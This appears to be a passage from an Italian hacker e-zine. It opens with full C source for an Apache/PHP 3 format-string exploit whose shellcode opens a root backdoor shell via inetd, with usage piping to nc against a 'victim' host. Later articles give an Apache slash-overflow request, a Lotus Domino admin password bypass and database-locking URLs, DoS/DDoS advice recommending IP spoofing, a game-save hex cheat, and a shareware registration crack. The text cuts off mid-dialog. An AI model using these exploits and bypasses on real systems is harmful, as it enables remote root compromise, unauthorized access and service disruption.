Neithardt von Gneisenau * gneisenau@berlin.com * my regards to sheib and darkx * All rights reserved * Pascal Boucheraine's paper was enlightening * THERE IS NO IMPLIED OR EXPRESS WARRANTY FOR THIS CODE. * YOU ARE RESPONSIBLE FOR YOUR OWN ACTIONS AND I CANNOT BE HELD RESPONSIBLE * FOR THE CONSEQUENCES * Usage: * phpxpl -sx -uwww.victim.com/some.php3 | nc www.victim.com 80 * * Slackware 7.0: eip address/shellcode address * 0xbfff9b90/0xbfff958c * */ /* * We just printf the shellcode and stuff and nc it to the target */ #include #include #include #include #include // this exploit does not like 0x0a = '\n' in the shellcode. also the NULL at // the end of the shellcode will be removed as the shellcode is probably // strcatted into the buffer. so do it again in the shellcode. /* * This shellcode is for Linux/x86. * This shellcode spawns a shell and runs the command * echo 'ingreslock stream tcp nowait root /bin/bash bash -i'>/tmp/.inetd.conf; /usr/sbin/inetd /tmp/.inetd.conf */ char shellcode[] = { 0xeb,0x41, 0x5e, 0x31,0xc0, 0x31,0xdb, 0xb0,0xa0, 0x89,0x34,0x06, 0x8d,0x4e,0x07, 0x88,0x19, 0x41, 0x41, 0xb0,0xa4, 0x89,0x0c,0x06, 0x8d,0x4e,0x0b, 0x88,0x19, 0x41, 0xb0,0xa8, 0x89,0x0c,0x06, 0x8d,0x4e,0x7f, 0x88,0x19, 0x31,0xd2, 0xb0,0xac, 0x89,0x14,0x06, 0x89,0xf3, 0x89,0xf1, 0xb0,0xa0, 0x01,0xc1, 0xb0,0x0b, 0xcd,0x80, 0x31,0xc0, 0xb0,0x01, 0x31,0xdb, 0xcd,0x80, 0xe8,0xba,0xff,0xff,0xff, 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0xff,0xff, /* the string "/bin/sh" */ 0x2d,0x63,0xff, /* the string "-c" */ 0x2f,0x62,0x69,0x6e,0x2f,0x65,0x63,0x68,0x6f,0x20,0x27,0x69, 0x6e,0x67,0x72,0x65,0x73,0x6c,0x6f,0x63,0x6b,0x20,0x73,0x74, 0x72,0x65,0x61,0x6d,0x20,0x74,0x63,0x70,0x20,0x6e,0x6f,0x77, 0x61,0x69,0x74,0x20,0x72,0x6f,0x6f,0x74,0x20,0x2f,0x62,0x69, 0x6e,0x2f,0x62,0x61,0x73,0x68,0x20,0x62,0x61,0x73,0x68,0x20, 0x20,0x2d,0x69,0x27,0x3e,0x2f,0x74,0x6d,0x70,0x2f,0x2e,0x69, 0x6e,0x65,0x74,0x64,0x2e,0x63,0x6f,0x6e,0x66,0x3b,0x20,0x2f, 0x75,0x73,0x72,0x2f,0x73,0x62,0x69,0x6e,0x2f,0x69,0x6e,0x65, 0x74,0x64,0x20,0x2f,0x74,0x6d,0x70,0x2f,0x2e,0x69,0x6e,0x65, 0x74,0x64,0x2e,0x63,0x6f,0x6e,0x66,0x00, }; #define NOP 0x90 /* * the PHP3 error buffer will already contain PHP 3 Warning: The Content-Type * string was "multipart/form-data. This is 66 bytes long. we send 2 spaces * for padding the addresses we embed in our attack buffer on word boundary */ #define PHP3_WARNING 68 #define BUF_LEN 1024 struct system_type { char *name; unsigned int nop; char *shellcode; int shellcode_len; int offset; /* the number of pops we need to get to our own data*/ int already_written; /* number of bytes written by printf by the time we reach the our embedded data */ unsigned int eip_address; /* address where shellcode_address must be put */ unsigned int shellcode_address; /* address of shellcode in memory */ }; struct system_type systems[] = { { "Slackware Linux 7.0 - i386/Apache 1.3.12/PHP 3.0.16 (static module)", 0x90, shellcode, 270, /* not exact but we got lots of space ;) */ 27, 0x152, 0xbfff9c30, 0xbfff962c, }, // somebody find these and fill it in please. should be // straightforward. { "Red Hat 6.0 - i386/Apache 1.3.13/PHP 3.0.16 (static module)", (unsigned int)NULL, NULL, (int)NULL, (int)NULL, (int)NULL, (unsigned int)NULL, (unsigned int)NULL, }, { NULL, (unsigned int)NULL, NULL, (int)NULL, (int)NULL, (int)NULL, (unsigned int)NULL, (unsigned int)NULL, }, }; void usage (void); void parse_url (char *, char *); void prepare_attack_buffer (char *, struct system_type *, char *); int calculate_precision (unsigned int, int); int main (int argc, char *argv[]) { char attack_buffer[2000]; // we construct the shellcode and stuff here // the target is 1024 bytes long struct system_type *sysptr; char *url; // i hope these things dont get bigger than this char target[2048]; // target will contain only the FQDN unsigned int eip_address = 0, shellcode_address = 0; int ctr = 0; int nop_count; char *walk; int arg; // at least expect a system type and url from the command line if (argc < 3) usage (); // parse arguments while ((arg = getopt (argc, argv, "s:u:e:h:")) != -1){ switch (arg){ case 'h': sscanf (optarg, "%x", &shellcode_address); break; case 'e': sscanf (optarg, "%x", &eip_address); break; case 's': sysptr = &systems[atoi (optarg)]; break; case 'u': url = optarg; parse_url (url, target); break; case '?': default : usage (); } } if (eip_address) sysptr->eip_address = eip_address; if (shellcode_address) sysptr->shellcode_address = shellcode_address; prepare_attack_buffer (attack_buffer, sysptr, url); // as of now write it out to stdout. later write it to a socket write (STDOUT_FILENO, attack_buffer, sizeof (attack_buffer)); } void prepare_attack_buffer (char *attack_buffer, struct system_type *system, char *url) { int dest_buffer_written; /* we keep track of how much bytes will be written in the destination buffer */ int ctr; char *address; char buf[25]; // temp buffer for %xd%n%xd%n%xd%n%xd%n // where x is precision int p1,p2,p3,p4; int nop_count; bzero (attack_buffer, 2000); sprintf (attack_buffer, "POST http://%s HTTP/1.0\nConnection: close\nUser-Agent: tirpitz\nContent-Type: multipart/form-data ", url); // mark strlen here. whatever we write after here appears in the buffer dest_buffer_written = strlen (attack_buffer); strcat (attack_buffer, "\x11\x11\x11\x11"); address = (char *)&system->eip_address; strncat (attack_buffer, address, 4); strcat (attack_buffer, "\x11\x11\x11\x11"); system->eip_address++; address = (char *)&system->eip_address; strncat (attack_buffer, address, 4); strcat (attack_buffer, "\x11\x11\x11\x11"); system->eip_address++; address = (char *)&system->eip_address; strncat (attack_buffer, address, 4); strcat (attack_buffer, "\x11\x11\x11\x11"); system->eip_address++; address = (char *)&system->eip_address; strncat (attack_buffer, address, 4); /* * we need to add %x corresponding to the number of pops we need to reach * our embedded addresses we defined above */ for (; system->offset; system->offset--) strcat (attack_buffer, "%x "); p1 = calculate_precision ((system->shellcode_address & 0x000000ff), system->already_written); p2 = calculate_precision ((system->shellcode_address & 0x0000ff00) >> 8, system->already_written); p3 = calculate_precision ((system->shellcode_address & 0x00ff0000) >> 16, system->already_written); p4 = calculate_precision ((system->shellcode_address & 0xff000000) >> 24, system->already_written); sprintf (buf, "%%%dd%%n%%%dd%%n%%%dd%%n%%%dd%%n", p1, p2, p3, p4); strcat (attack_buffer, buf); ctr = strlen (attack_buffer); dest_buffer_written = ctr - dest_buffer_written; dest_buffer_written += PHP3_WARNING; // dest_buffer_written now contains the number of bytes the PHP_WARNING and then the 8 4 byte values and then the %x to pop off the stack attack_buffer += ctr; nop_count = BUF_LEN - dest_buffer_written - system->shellcode_len; memset (attack_buffer, NOP, nop_count); /* * Add our shellcode at last */ attack_buffer += nop_count; strcat (attack_buffer, shellcode); strcat (attack_buffer, "\n"); strcat (attack_buffer, "Content-Length: 1337\n\n"); } void usage (void) { int ctr; fprintf (stderr, " Apache/PHP xploit\n"); fprintf (stderr, " Field Marshal Count August Anton Wilhelm Neithardt von Gneisenau\n"); fprintf (stderr, " for the r00tcrew\n"); fprintf (stderr, " All rights reserved\n"); fprintf (stderr, "\nUsage:\n"); fprintf (stderr, "phpxpl -u url -s systype [ -e eip address ] [ -h shellcode address ]\n\n"); fprintf (stderr, "url: the complete url including FQDN and script on the server\n"); fprintf (stderr, " www.victim.com/info.php3\n"); fprintf (stderr, "available systypes:\n"); for (ctr = 0; systems[ctr].name; ctr++) fprintf (stderr, "%d. %s\n", ctr, systems[ctr].name); fprintf (stderr, "eip address: the address which the xploit overwrites with buffer address (specify thus 0xbfff9c30) \n"); fprintf (stderr, "shellcode address: the address which points to the NOPs (specify thus 0xbfff962c)\n"); fprintf (stderr, "\n"); exit (1); } void parse_url (char *url, char *target) { char *ptr; strcpy (target, url); if (!(ptr = index (target, '/'))){ fprintf (stderr, "invalid url. specify the script name on the target server too\n"); exit (1); } *ptr = '\0'; } /* * addr_byte contains the byte we need to write out. for example: 2c in * 0xbfff962c, then 96, ff and bf. */ int calculate_precision (unsigned int addr_byte, int already_written_init) { static int already_written = 0; int tmp; if (!already_written) already_written = already_written_init; while (addr_byte < already_written) addr_byte += 0x100; tmp = addr_byte - already_written; already_written = addr_byte; return tmp; } Ringrazio BbOyIce member della nostra crew #bfc per questo expilot per ache fino alla 1.3.17 ke girano su sistemi .nix che hanno cgi e l'helpcom.pl: In pratica manda in Owerlow il server usando : GET ///////////////////////////////////////////////////////// HTTP/1.0 Piu o meno 250 (/) slash! Non ce moltissimo da capire quando oggi e' necessario avereuna macchina x86 con linux e una connessione ad internet..del resto tutti scanno scrivere Expilot per apache o php etc..Io chiudo qui inoltre vi dico ke e' sempre una leimata hakkare i server! vI auguro un buone feste in maskera :P .. Ricordatevi di joinare su azzurranet.org #bfc :D e4m -= Black Force Crew =- Www.bfc.too.it - #bfc Tezkatlipoka@libero.it |------------------------------------| |Art. N° <5> : "Bug Lotus" di Dominus| |------------------------------------| ^\# Bug Lotus #/^ ^\# #/^ ^\# Posted By Dominus #/^ ^\# #/^ ^\# DSK CREW www.dsk-crew.cjb.net #/^ ^ \ ####################################/^ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ Salve a tutti eccomi qui a scrivere un altro tutorial,perche credo che la conoscenza che uno ha fa bene a mostrarla agli altri,cosi anche gli altri impareranno, :)) bene prima di tutto un bel Disclaimer..... $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ DISCLAIMER $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ L'autore e il webmaster del sito non si ritengono responsabili dell'uso che verrà fatto da questi dati,tutto questo è a solo scopo informativo e non per atti criminali perciò ragazzi se con questi dati combinate casino "cazzi vostri".. $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ Bene bene cominciamo pure,allora lotus soffre di un grave bug,per chi non lo sapesse attraverso lotus si apre un pannello di controllo con cui è possibile configurare e gestire qualsiasi file di sistema,per accedere a questo pannello di controllo ci vuole una password e con il bug che ora vi elencherò si può benissimo bypassare la password ed accedere al pannello di controllo,al momento che sarete al pannello di controllo quando sceglierete una directory vi chiederà un altra password e per bypassare pure quella dovete usare un po di intelligenza,ora vi elencherò alcuni metodi poi sta a voi applicarli e capire il funzionamento.... mettiamo il caso che il sito che gestisce lotus sia www.merda.it , per gestire lotus c'è un file che si chiama webadmin.ntf per raggiungere questo file si deve caricare il buffer con 205 + un esempio www.merda.it/webadmin.ntf+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.nsf/ con questo gia entrereste nel pannello di controllo,apparte webadmin c'è pure il file log.ntf bhe cambiate voi,un altra cosa l'exploit funziona con 205 + ma sta a voi provare varie combinazioni per caricare di + il buffer e bypassare anche la seconda password,i + possono arrivare anche a 219 provare per credere :). Questo bug apparte l'esempio visto prima si può sfruttare anche in un altro modo,è possibile bloccare determinati database su cui è basato il funzionamento del server: basta anteporre /./ prima del nome del database tipo: se volete bloccare l'accesso a webadmin.nsf anche all'admin basterà fare www.merda.it/./webadmin.nsf ,o per bloccare la mailbox dell'amministratore www.merda.it/mail/./administrator.nsf. Avete capito tutto????? spero di si io credo che sia semplicissimo e se non avete capito bhe datevi all'agricoltura :) ihihhhihih,ciao ragazzi alla prossima!! By Dominus DSK CREW WWW.DSK-CREW.CJB.NET |-----------------------------------------------------------| |Art. N° <6> : "Differenza di attacco DOS e DDOS" di Dominus| |-----------------------------------------------------------| ## Differenza di attacco DoS e DDoS ## ## ## ## Posted By Dominus ## ## ## ## DSK CREW www.dsk-crew.cjb.net ## ######################################### @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ Oggi vi spiegherò la differenza tra attacco DoS e attacco DDoS,per prima cosa vediamo il significato.... DoS = Denial of Service DDoS = Distribuited Denial of Service Allora l'attacco DoS non è altro che mandare dei pacchetti ad un server per poi farlo crashare,entrambi i metodi possono essere differenti,non esiste solo un tipo di attacco ma lo scopo finale è quello di paralizzare completamente un sistema. Avvolte lattaccante si contenta solo di far rimanere irraggiungibile un server per un determitato tempo e avvolte viene applicato per far perdere stabilità alla macchina bersaglio è da dire che se un sistema perde stabilità automaticamente diventa molto più vulnerabile e avvolte si aprono delle porte che magari dovrebbero rimanere chiuse,questo non è un bug "TUTTE LE MACCHINE E TUTTI I SISTEMI" possono crollare a questi tipi di attacchi,l'unico metodo sarebbe filtrare le porte ma anche per questo c'è sempre un metodo :),ora ritornando a prima....il DoS come avevamo detto consiste nell'inviare pacchetti a una macchina remota,pacchetti pesanti floddando una porta quindi questo causa il crash ma per fare questo dovrebbero essere + utenti a farlo perche un computer non basta e il server potrebbe reggere l'attacco,invece con il DDos la cosa è diversa,appunto si chiama Distribuited Denial of Service,consiste nel prendere l'ip di un network che gestisce centinaia di computer a questo punto immaginatevi se tramite il network si manderebbero solo 5 ping alla macchina remota i centinaia di computer quei 5 ping li farebbero diventare milioni cosi il nostro bersaglio sarebbe invaso da milioni e avvolte miliardi di pacchetti e cosi andrebbe in crash al 100%,il sistema collasserebbe,come ho detto prima questa è una tecnica micidiale,c'è da dire un cosa però i ping inviati poi ritornano come risposta ed è bene applicare l'ip spoofing per camuffare l'ip altrimenti i primi pacchetti che il bersaglio riuscirebbe a reggere li rimanderebbe a noi e a quel punto anche noi saremmo invasi da centinaia di pacchetti,camuffando l'ip questo non succede perche la macchina invierebbe delle risposte a un ip che non esiste,la tecnica per l'ip spoofing ve la scriverò + avanti,spero che avete capito tutto per eventuali dubbi o chiarimenti potete postare le vostre domande al forum che c'è nel sito sarò felice di rispondervi ciao!!! @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ DSK CREW www.dsk-crew.cjb.net ############################################################################ 01§010°1010§101Ø010101µ0101-01;010&101ç0101@01010æ1010101·010ß10¢10]101·0101 0«101@01·01`01010@101*01|----------------------------|01ð01¶01<01010\10101£0 010æ10@10Æ1ß01%01010&10ß| C R A C K I N G |10%101ð0101|010:10&101 01*010&101µ01þ010@10101½|----------------------------|00°1010¢1010@1010"1010 01<0101!1010+101"010=101%010?101&01^01'01>01(0101)01|0þ10@10ç1ò010K101X01§01 ############################################################################ |---------------------------------------------------| |Art. N° <7> : "Un piccolo esempio di cheats" di E4m| |---------------------------------------------------| __________________________________________________________________ |"*"|Coded by e4m____________________________________________|*|-|x| |101010101010101010101010101010101010101010101010101010101010101010| |010101010101010101010101010101010101010101010101010101010101010101| |010101010101010111010101001000100010100100101001010101010410101010| |10| \ 01010101 / \101010101/ \/ \01000| |10| ________| 01010101/ /| |01010101/ \1011| |10| |________ 010101 / /0| |0101010| /\ /\ |100| |01| | 101011/ /01| |0101010| /0 \ /01\ |110| |10| ________| 10100/ /010| |0101010| |01 \/010 | |010| |01| |0101010110101/ /0100| |0101001| |010101010| |110| |01| |01010101010_/ \0110| \____ | |010101010| |011|_____ |10| |/ \ | \01010101/ |100|!!!!/ |01|______________/|_______ ___________||_____\010101/_____|011|!!!/ |011010010101010101011101010| |010101001010101010101010101010101|!!/ |010101011010101100100101010| |010101010101010101010101010101010|!/ |010010100101001010010101001|____|010101011101010101010101001101010|/ -------------------------------------------------------------------- [E4M] TEZKATLIPOKA@LIBERO.IT WWW.BFC.TOO.IT #BFC Vi piace pazzamente un gioko,l'avete finito circa 470volte e sapete tutto,ma non conoscete i codici o velete scoprirli voi.... e' semplicissimo vi faro un esempiuzzo di cracking di THE SIMS famoso gioko DI ....uhm se vuoi saperne d piu' www.thesims.it ihih :) allora vediamo un po...ki lo conosce sapra' sicuramente ke LA FAMIGLIA STANDARD parte con 20.000 $imeom "ossia soldi del gioko! bhe diciamo d volere piu soldi! ihih... VAI NELLA DIRECTORY DEL TUO THE SIMS POI FATTI UN BEL EDITOR ESADECIMALE "hex" E PARTIIIIII BHE nella cartella UserData "ossia dove vengono riportate le info sui personaggi, e apri col tuo fedele hex editor "ti consiglio HEX WORKSHOP" il file "Neighborhood.iff" ossia vicinato. UNA VOLTA APERTO cerca la stringa "46414D49" questa rappresenta la sezione di un file per ogni famiglia che e' avibile!.Se tu hai creato la tua famiglia tu potrai notare il nome ke tu hai usato :) (DEVI AVER CREATO SOLO UNA FAMIGLIA) poi cerca 204E ossia l'iniziale dose di soldi per famiglia ossia 20.000 $imleon! GUARDA L'ESEMPIOZZO... 0100014173730000"A346414D49"00000084000400 1000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 00000000000000000007000000494D4146000000 0009000000"204E"00000000000000000000000000 0004000000086853E05473D343A7369F97712E59 A446414D730000005C0004001000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000FDFF01 0001506C656173616E740000A3 HO MESSO TRA "" LE STRINGHE FAMIGLIA E SOLDI! bene fin qui c siamO??? ora puoi convertire quel bel "204E" ossia i 20 $simleon in: "40D003" per $200,000 "80841E" per $2,000,000 una semplice operazione ke puoi fare col calcolatore del tuo "hex editor" GUARDA L'ESEMPIOZZO... 0100014173730000A346414D4900000084000400 1000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 00000000000000000007000000494D4146000000 0009000000"40D003"000000000000000000000000 <--------ecco qui i 200,000 $imleon :) 0004000000086853E05473D343A7369F97712E59 A446414D730000005C0004001000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000000000 0000000000000000000000000000000000FDFF01 0001506C656173616E740000A3 TUTTO STA NEL MODIFICARE IL FILE GIUSTO NEL PUNTO GIUSTO! -UN ERRORE PIU TOSTO RECENTE CREDO SIA LA NUMERAZIONE IN HEX DEI SOLDI NELLE VARIE VERSIONI DI THE SIMS PER EVITARE CIO' HO ALLEGATO UN PROGRAMMA DA PORRE IN C:\Programmi\Maxis\The Sims\UserData8 :)- -=E4M=- |-----------------------------------------------------| |Art. N° <8> : "Legal Marijuana Growing by e4m" di E4m| |-----------------------------------------------------| ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛÛ°°°°°°°°°°ÛÛÛÛÛÛÛÛÛÛÛÛÛ°°°°ÛÛÛÛÛÛÛ°°°°°°°°Û°°°°°°°°ÛÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛÛ°°°°°°°°°°ÛÛÛÛÛÛÛÛÛÛÛÛ°°°°°ÛÛÛÛÛÛÛ°°°°ÛÛÛ°°°ÛÛÛ°°°°ÛÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛÛ°°°°°°ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ°°°Û°°°ÛÛÛÛÛÛ°°°°ÛÛÛ°°°ÛÛÛ°°°°ÛÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛÛ°°°°°°ÛÛÛÛÛÛÛÛÛÛÛÛÛÛ°°°ÛÛÛ°°ÛÛÛÛÛÛ°°°°ÛÛÛ°°°ÛÛÛ°°°°ÛÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛÛ°°°°°°°°°°ÛÛÛÛÛÛÛÛÛ°°°ÛÛÛÛÛ°ÛÛÛÛÛÛ°°°°ÛÛÛ°°°ÛÛÛ°°°°ÛÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛÛ°°°°°°°°°°ÛÛÛÛÛÛÛÛ°°°°°°°°°°°°ÛÛÛÛ°°°°ÛÛÛ°°°ÛÛÛ°°°°ÛÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛÛ°°°°°°ÛÛÛÛÛÛÛÛÛÛÛ°°°°°°°°°°°°°ÛÛÛÛ°°°°ÛÛÛ°°°ÛÛÛ°°°°ÛÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛÛ°°°°°°ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ°°°ÛÛÛÛÛÛÛÛ°°°°ÛÛÛ°°°ÛÛÛ°°°°ÛÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛÛ°°°°°°°°°°ÛÛÛÛÛÛÛÛÛÛÛÛÛ°°°ÛÛÛÛÛÛÛÛ°°°°ÛÛÛ°°°ÛÛÛ°°°°ÛÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛÛ°°°°°°°°°°ÛÛÛÛÛÛÛÛÛÛÛÛÛ°°°ÛÛÛÛÛÛÛÛ°°°°ÛÛÛ°°°ÛÛÛ°°°°ÛÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ..proudly presents.. LE VIE DEL REVESING SONO INFINITE... :þ By e4m Conoscendo un po di asm possiamo combinare un sacco di belle cose ^_^..Sapevi? Per questo ho scritto questa semplicissima patch ke modifika qlc cosina di HighGrow - Legal Marijuana Growing il bel programmino ke c consnte di coltivare maria virtulale..a crakkare questo bel progz. cia' gia' pensato Quequero ma noi apporteremo solo qlc modifikina!! :) Se vuoi la patch contatami!... InnansiTutto vi riporto il debbug delle cose fondamentali in esso non In ASM!!! ma gia spulciato da costui (e4m) : Saltiamo le icone i cursori le immagini e andiamo a farci sul serio... Ecco il menu': MENU MENU LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US { POPUP "&Start" { MENUITEM "&HighGrow Objectives..\tCtrl+O", 40038 MENUITEM "&Planting Your Seeds..\tCtrl+P", 40018 MENUITEM SEPARATOR MENUITEM "&Enter Grow Room..\tCtrl+G", 40023, GRAYED MENUITEM "&Daily Growth Chart..\tCtrl+C", 40017, GRAYED MENUITEM SEPARATOR MENUITEM "&Weird Wally's Rules..\tCtrl+W", 40024 MENUITEM "&Harvested Plants Log..\tCtrl+H", 40071, GRAYED MENUITEM SEPARATOR MENUITEM "E&xit HighGrow\tCtrl+X", 40007 } POPUP "&Plants" { POPUP "Daily &Activities.." { MENUITEM "Seed 1..\tCtrl+1", 40035, GRAYED MENUITEM "Seed 2...\tCtrl+2", 40036, GRAYED MENUITEM "Seed 3..\tCtrl+3", 40037, GRAYED } POPUP "Growth &Log.." { MENUITEM "Seed 1..\tShft+Ctrl+1", 40051, GRAYED MENUITEM "Seed 2...\tShft+Ctrl+2", 40052, GRAYED MENUITEM "Seed 3..\tShft+Ctrl+3", 40053, GRAYED } MENUITEM SEPARATOR POPUP "&Harvesting" { MENUITEM "Seed 1..", 40042, GRAYED MENUITEM "Seed 2...", 40043, GRAYED MENUITEM "Seed 3..", 40044, GRAYED } } POPUP "&Options" { MENUITEM "&Lock HighGrow..\tCtrl+L", 40029 MENUITEM SEPARATOR MENUITEM "Registration Code..\tCtrl+D", 40070 MENUITEM "Registration Details..\tCtrl+R", 40021 } POPUP "&Help" { MENUITEM "&Contents\tF1", 40014 MENUITEM "&Growing Tips\tCtrl+T", 40020 MENUITEM SEPARATOR MENUITEM "&About HighGrow...\tCtrl+A", 40001 } } Yuppydu' ora andiamo con criterio ecco le about box: ABOUT DIALOGEX 22, 17, 319, 149 STYLE DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU EXSTYLE WS_EX_TOOLWINDOW | WS_EX_CLIENTEDGE CAPTION "About HighGrow" LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US FONT 8, "MS Sans Serif" { CONTROL "&Registration Details", 1069, BUTTON, BS_DEFPUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_GROUP | WS_TABSTOP, 141, 130, 78, 14 CONTROL "&Cancel", 2, BUTTON, BS_PUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_GROUP | WS_TABSTOP, 236, 130, 78, 14 CONTROL "HighGrow ", 1115, STATIC, SS_CENTER | SS_SUNKEN | WS_CHILD | WS_VISIBLE | WS_GROUP, 150, 12, 154, 17 CONTROL "Shareware Version 1.1", 1116, STATIC, SS_LEFT | WS_CHILD | WS_VISIBLE | WS_GROUP, 152, 38, 115, 11 CONTROL "", -1, STATIC, SS_ETCHEDFRAME | WS_CHILD | WS_VISIBLE, 140, 5, 174, 118 CONTROL "If you have any comments or ideas that could be included in future versions of HighGrow, then please email me at:", -1, STATIC, SS_LEFT | WS_CHILD | WS_VISIBLE | WS_GROUP, 152, 72, 150, 25 CONTROL "HIGHGROW", -1, STATIC, SS_ICON | WS_CHILD | WS_VISIBLE, 282, 33, 18, 20 CONTROL "slicker@mweb.co.za", 1111, STATIC, SS_LEFT | WS_CHILD | WS_VISIBLE | WS_GROUP, 152, 104, 106, 12 CONTROL "", 500, STATIC, SS_ETCHEDFRAME | SS_SUNKEN | WS_CHILD | WS_VISIBLE, 5, 5, 127, 139 , 0x00000200 CONTROL "By Slick Software - 1998 ", -1, STATIC, SS_LEFT | WS_CHILD | WS_VISIBLE | WS_GROUP, 152, 54, 92, 9 } yUAZZ quente cose possiamo modificare andiamo ora a CHEATS: CHEAT DIALOGEX 0, 0, 217, 229 STYLE DS_MODALFRAME | WS_POPUP EXSTYLE WS_EX_TOOLWINDOW | WS_EX_CLIENTEDGE CAPTION "" LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US FONT 8, "MS Sans Serif" { CONTROL "", 1, BUTTON, BS_DEFPUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, 14, 204, 190, 14 CONTROL "", 1115, STATIC, SS_GRAYFRAME | SS_SUNKEN | WS_CHILD | WS_VISIBLE, 14, 13, 190, 135 CONTROL "HighGrow performs regular date and time checks, and has now detected that these are being altered in an attempt to influence daily plant growth.", 1116, STATIC, SS_CENTER | WS_CHILD | WS_VISIBLE | WS_GROUP, 16, 152, 184, 48 CONTROL "", -1, STATIC, SS_ETCHEDFRAME | WS_CHILD | WS_VISIBLE, 5, 5, 207, 219 } e oraaaaaaaa LA PARTE + "INTERESSANTISSIMA"....oi oi ho nkora la febbre :( ECCO A VOI LA PARTE DELLA REGISTRAZIONE!!! CODE DIALOGEX 22, 17, 211, 149 STYLE DS_MODALFRAME | WS_POPUP | WS_VISIBLE | WS_CAPTION | WS_SYSMENU EXSTYLE WS_EX_TOOLWINDOW | WS_EX_CLIENTEDGE CAPTION "Registration Code Entry" LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US FONT 8, "MS Sans Serif" { CONTROL "", 1110, EDIT, ES_LEFT | ES_AUTOHSCROLL | WS_CHILD | WS_VISIBLE | WS_BORDER | WS_TABSTOP, 105, 85, 93, 12 CONTROL "", 1131, EDIT, ES_LEFT | ES_AUTOHSCROLL | WS_CHILD | WS_VISIBLE | WS_BORDER | WS_TABSTOP, 105, 100, 93, 12 CONTROL "&Register HighGrow", 1069, BUTTON, BS_DEFPUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_GROUP | WS_TABSTOP, 5, 130, 88, 14 CONTROL "&Cancel", 2, BUTTON, BS_PUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_GROUP | WS_TABSTOP, 118, 130, 88, 14 CONTROL "HighGrow Registration", 500, STATIC, SS_CENTER | SS_SUNKEN | WS_CHILD | WS_VISIBLE | WS_GROUP, 15, 12, 182, 17 CONTROL "Shareware Version 1.1", 1017, STATIC, SS_LEFT | WS_CHILD | WS_VISIBLE | WS_GROUP, 17, 38, 115, 11 CONTROL "", -1, STATIC, SS_ETCHEDFRAME | WS_CHILD | WS_VISIBLE, 5, 5, 201, 118 CONTROL "This version of HighGrow can be registered now by entering your unique code.", -1, STATIC, SS_LEFT | WS_CHILD | WS_VISIBLE | WS_GROUP, 17, 59, 164, 19 CONTROL "HIGHGROW", -1, STATIC, SS_ICON | WS_CHILD | WS_VISIBLE, 175, 35, 21, 20 CONTROL "Registration Code:", 1018, STATIC, SS_LEFT | WS_CHILD | WS_VISIBLE | WS_GROUP, 17, 85, 85, 12 CONTROL "Enter your Name:", 1019, STATIC, SS_LEFT | WS_CHILD | WS_VISIBLE | WS_GROUP, 17, 101, 84, 12 } Proviamo a tokkare qlcsina.. yazzz ABBIAMO DISABILITATO IL CMD REGISTRA E ABBIAM MESSO IL NOSTRO (IL MIO NOME) :)))))) CODE DIALOGEX 22, 17, 211, 149 STYLE DS_MODALFRAME | WS_POPUP | WS_VISIBLE | WS_CAPTION | WS_SYSMENU EXSTYLE WS_EX_TOOLWINDOW | WS_EX_CLIENTEDGE CAPTION "Registration Code Entry" LANGUAGE LANG_ENGLISH, 